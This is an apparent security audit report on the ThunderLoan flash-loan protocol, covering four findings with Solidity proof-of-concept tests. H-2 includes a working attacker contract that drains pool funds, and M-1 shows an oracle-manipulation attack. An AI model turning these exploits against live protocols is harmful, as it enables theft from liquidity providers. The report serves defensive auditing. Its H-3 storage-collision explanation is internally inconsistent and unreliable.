AUDIT

ThunderLoan Protocol

Security Audit Report

Version 1.0

PREPARED BY

Cyfrin.io

LEAD AUDITOR

Yusuf

DATE

February 13, 2026

Table of Contents

1. Protocol Summary

ThunderLoan is a flash loan protocol that allows users to borrow assets without collateral, provided they return the borrowed amount plus a fee within the same transaction. The protocol uses an upgradeable proxy pattern and integrates with TSwap DEX for price discovery.

2. Disclaimer

The Yusuf team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

3. Risk Classification

We use the CodeHawks severity matrix to determine severity.

	Impact		
Likelihood	**High**	**Medium**	**Low**
High	H	H/M	M
Medium	H/M	M	M/L
Low	M	M/L	L

4. Executive Summary

4.1 Issues Found

Severity	**Count**
High	3
Medium	1
Low	0
Informational	0
Gas	0
Total	4

5. Findings

5.1 High Severity

[H-1] Erroneous ThunderLoan::updateExchangeRate in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: The deposit function in ThunderLoan.sol incorrectly calls assetToken.updateExchangeRate(calculatedFee) after minting shares to the liquidityProvider. The exchange rate should only be updated when flash loan fees are collected — not during deposits. By updating the exchange rate during a deposit, the protocol artificially inflates the perceived value of the pool, causing it to believe it holds more assets than it actually does.

```
function deposit(IERC20 token, uint256 amount)
    external revertIfZero(amount) revertIfNotAllowedToken(token)
{
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION())
                         / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    // @audit-high: exchange rate should NOT be updated here
    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee); // <-- incorrectly inflates

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Impact: The inflated exchange rate means the redeem function will calculate that users are owed more underlying tokens than the contract actually holds, causing redemptions to revert due to insufficient balance. Liquidity providers are permanently unable to withdraw their funds. This is a critical denial-of-service on the core redemption flow.

Proof of Concept:

1. Liquidity provider deposits tokens via deposit().
2. The exchange rate is incorrectly updated upward as if a flash loan fee was collected.
3. When the liquidity provider attempts to redeem, the contract calculates a payout greater than the actual token balance held by AssetToken.
4. The safeTransfer in redeem reverts due to insufficient funds.

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);

    vm.startPrank(user);
    tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
    thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
                          amountToBorrow, "");
    vm.stopPrank();

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem); // reverts
}
```

Recommended Mitigation: Remove the updateExchangeRate call from the deposit function entirely. Exchange rate updates should only occur inside flashloan(), after fees have actually been collected and transferred into the AssetToken contract.

```
function deposit(IERC20 token, uint256 amount)
    external revertIfZero(amount) revertIfNotAllowedToken(token)
{
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION())
                         / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
-   uint256 calculatedFee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-2] ThunderLoan::deposit can be used instead of ThunderLoan::repay to repay a flash loan, allowing attackers to drain the protocol by receiving AssetTokens for funds they don't own

Description: The flashloan function checks repayment by comparing the AssetToken contract's balance before and after the borrower's executeOperation call. However, it does not enforce how the funds are returned — it only checks that the balance has increased by at least amount + fee. This means an attacker can call deposit inside executeOperation instead of repay, which satisfies the balance check while minting the attacker AssetToken shares they can later redeem to drain the pool.

```
function flashloan(address receiver, IERC20 token,
                   uint256 amount, bytes calldata data) external
{
    // ...
    uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
    // ...
    receiver.functionCall(
        abi.encodeCall(IFlashLoanReceiver.executeOperation, (/*...*/))
    );

    // @audit only checks balance, not HOW it was repaid
    uint256 endingBalance = token.balanceOf(address(assetToken));
    if (endingBalance < startingBalance + fee) {
        revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
    }
}
```

Inside executeOperation, the attacker calls deposit(token, amount + fee) instead of repay. This transfers amount + fee back into AssetToken (satisfying the balance check) but also mints the attacker AssetToken shares worth amount + fee — which they can immediately redeem to steal the funds.

Impact: An attacker can drain the entire protocol with only a fee's worth of capital. All liquidity provider funds are at risk.

Proof of Concept:

1. Attacker takes a flash loan of amount tokens, pre-funded with just enough to cover fee.
2. Inside executeOperation, attacker calls deposit(token, amount + fee) instead of repay.
3. The balance check passes — AssetToken received amount + fee back.
4. Attacker is minted AssetToken shares worth amount + fee.
5. After the flash loan completes, attacker calls redeem to withdraw amount + fee in underlying tokens.
6. Net result: attacker spent fee, got back amount + fee — stealing amount from the pool.

```
function testUseDepositInsteadOfRepayToStealFunds()
    public setAllowedToken hasDeposits
{
    vm.startPrank(user);
    uint256 amountToBorrow = 100e18;
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
    DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
    tokenA.mint(address(dor), fee);
    thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
    dor.redeemMoney();
    vm.stopPrank();

    assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
}

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token, uint256 amount, uint256 fee,
        address, bytes calldata
    ) external returns (bool) {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee); // exploit
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Recommended Mitigation: Add a storage flag that is set when a flash loan is active, and disallow deposit calls while a loan is in progress. Alternatively, track repayment explicitly through repay rather than relying on a passive balance check.

```
+ error ThunderLoan__CannotDepositDuringFlashLoan();
+ bool private s_flashLoanActive;

function flashloan(address receiver, IERC20 token,
                   uint256 amount, bytes calldata data) external
{
+   s_flashLoanActive = true;
    // ...
+   s_flashLoanActive = false;
}

function deposit(IERC20 token, uint256 amount) external {
+   if (s_flashLoanActive) {
+       revert ThunderLoan__CannotDepositDuringFlashLoan();
+   }
    // ...
}
```

[H-3] Storage collision in ThunderLoanUpgraded causes s_flashLoanFee to be overwritten with FEE_PRECISION on upgrade, breaking fee accounting

Description: ThunderLoan and ThunderLoanUpgraded use different storage layouts. In the original ThunderLoan, the storage slot used by s_flashLoanFee is also occupied by s_feePrecision (a constant-like value) in ThunderLoanUpgraded. Because UUPS proxies preserve storage across upgrades and only swap the implementation logic, the upgraded contract reads the wrong value from that slot when getFee() is called — returning FEE_PRECISION (1e18) instead of the intended fee (3e15).

```
// ThunderLoan (original)
uint256 private s_flashLoanFee; // slot N → 3e15

// ThunderLoanUpgraded — variable inserted BEFORE s_flashLoanFee
// shifts the layout
uint256 public constant FEE_PRECISION = 1e18; // constants have no slot
uint256 private s_flashLoanFee;               // now at slot N+1
```

After upgrade, getFee() delegates to ThunderLoanUpgraded which reads slot N and finds FEE_PRECISION (1e18) — a fee of 100% — rather than the intended 3e15.

Impact: After upgrading, the protocol charges a 100% fee on all flash loans instead of 0.3%. Every flash loan reverts because borrowers cannot repay twice the borrowed amount, bricking the core protocol functionality. Liquidity providers also stop earning real yield as the fee mechanism is entirely broken.

Proof of Concept:

```
function testUpgradeBreaks() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
    thunderLoan.upgradeToAndCall(address(upgraded), "");
    uint256 feeAfterUpgrade = thunderLoan.getFee();
    vm.stopPrank();

    assert(feeBeforeUpgrade != feeAfterUpgrade);
    // feeBeforeUpgrade = 3000000000000000   (3e15  → 0.3%)
    // feeAfterUpgrade  = 1000000000000000000 (1e18 → 100%)
}
```

Recommended Mitigation: Preserve the exact storage layout from ThunderLoan in ThunderLoanUpgraded. Do not insert any new variables before s_flashLoanFee — the slot order must be identical across both implementations.

```diff
contract ThunderLoanUpgraded {
-   uint256 private s_flashLoanFee;
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_blank;
+   uint256 private s_flashLoanFee; // same slot as in ThunderLoan
+   uint256 public constant FEE_PRECISION = 1e18;
}
```

Alternatively, use OpenZeppelin's __gap arrays in base contracts to explicitly reserve slots and prevent layout collisions during future upgrades.

5.2 Medium Severity

[M-1] Using TSwap as a price oracle enables price manipulation via flash loans, allowing attackers to borrow at artificially reduced fees

Description: The ThunderLoan::getCalculatedFee function relies on the TSwap DEX pool to determine the price of the borrowed token relative to WETH, which is then used to calculate flash loan fees. Because TSwap is an AMM whose price can be manipulated within a single transaction, an attacker can take out a flash loan, tank the token price on TSwap, then take out a second flash loan in the same transaction at a drastically reduced fee — before repaying everything and walking away with the difference.

```
function getCalculatedFee(IERC20 token, uint256 amount)
    public view returns (uint256 fee)
{
    //...
    uint256 valueOfBorrowedToken =
        (amount * getPriceInWeth(address(token))) / s_feePrecision;
    //...
}
```

getPriceInWeth queries the live TSwap pool spot price, which is trivially manipulable mid-transaction.

Impact: Attackers can borrow large amounts from ThunderLoan while paying a fraction of the intended fee, directly stealing yield from liquidity providers whose returns depend on fee revenue.

Proof of Concept:

1. Attacker takes out a flash loan of 50 TokenA from ThunderLoan.

2. Inside executeOperation, attacker swaps the 50 TokenA for WETH on TSwap, crashing the TokenA price (e.g. from 1:1 down to 0.5:1).

3. Attacker takes out a second flash loan of 50 TokenA — the fee is now calculated against the manipulated low price.

4. Both loans are repaid within the same transaction. The attacker pays far less in fees than they should have.

```
function testOracleManipulation() public {
    // Setup contracts
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
    proxy = new ERC1967Proxy(address(thunderLoan), "");
    BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
    address tswapPool = pf.createPool(address(tokenA));
    thunderLoan = ThunderLoan(address(proxy));
    thunderLoan.initialize(address(pf));

    // Fund the TSwap pool — 1 WETH : 1 TokenA
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 100e18);
    tokenA.approve(address(tswapPool), 100e18);
    weth.mint(liquidityProvider, 100e18);
    weth.approve(address(tswapPool), 100e18);
    BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18,
                                     block.timestamp);
    vm.stopPrank();

    // Fund ThunderLoan
    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(tokenA, true);
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 1000e18);
    tokenA.approve(address(thunderLoan), 1000e18);
    thunderLoan.deposit(tokenA, 1000e18);
    vm.stopPrank();

    // Show normal fee vs manipulated fee
    uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);

    MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
        address(tswapPool),
        address(thunderLoan),
        address(thunderLoan.getAssetFromToken(tokenA))
    );

    vm.startPrank(user);
    tokenA.mint(address(flr), 100e18);
    thunderLoan.flashloan(address(flr), tokenA, 50e18, "");
    vm.stopPrank();

    uint256 attackFee = flr.feeOne() + flr.feeTwo();
    assert(attackFee < normalFeeCost); // attacker paid less
}
```

Recommended Mitigation: Use a price oracle that cannot be manipulated within a single transaction, such as a Chainlink price feed or a TWAP (time-weighted average price) oracle. Avoid reading spot prices from AMM pools directly for any fee or valuation logic.

```diff
- uint256 valueOfBorrowedToken =
-     (amount * getPriceInWeth(address(token))) / s_feePrecision;
+ uint256 valueOfBorrowedToken =
+     (amount * getChainlinkPriceInWeth(address(token))) / s_feePrecision;
```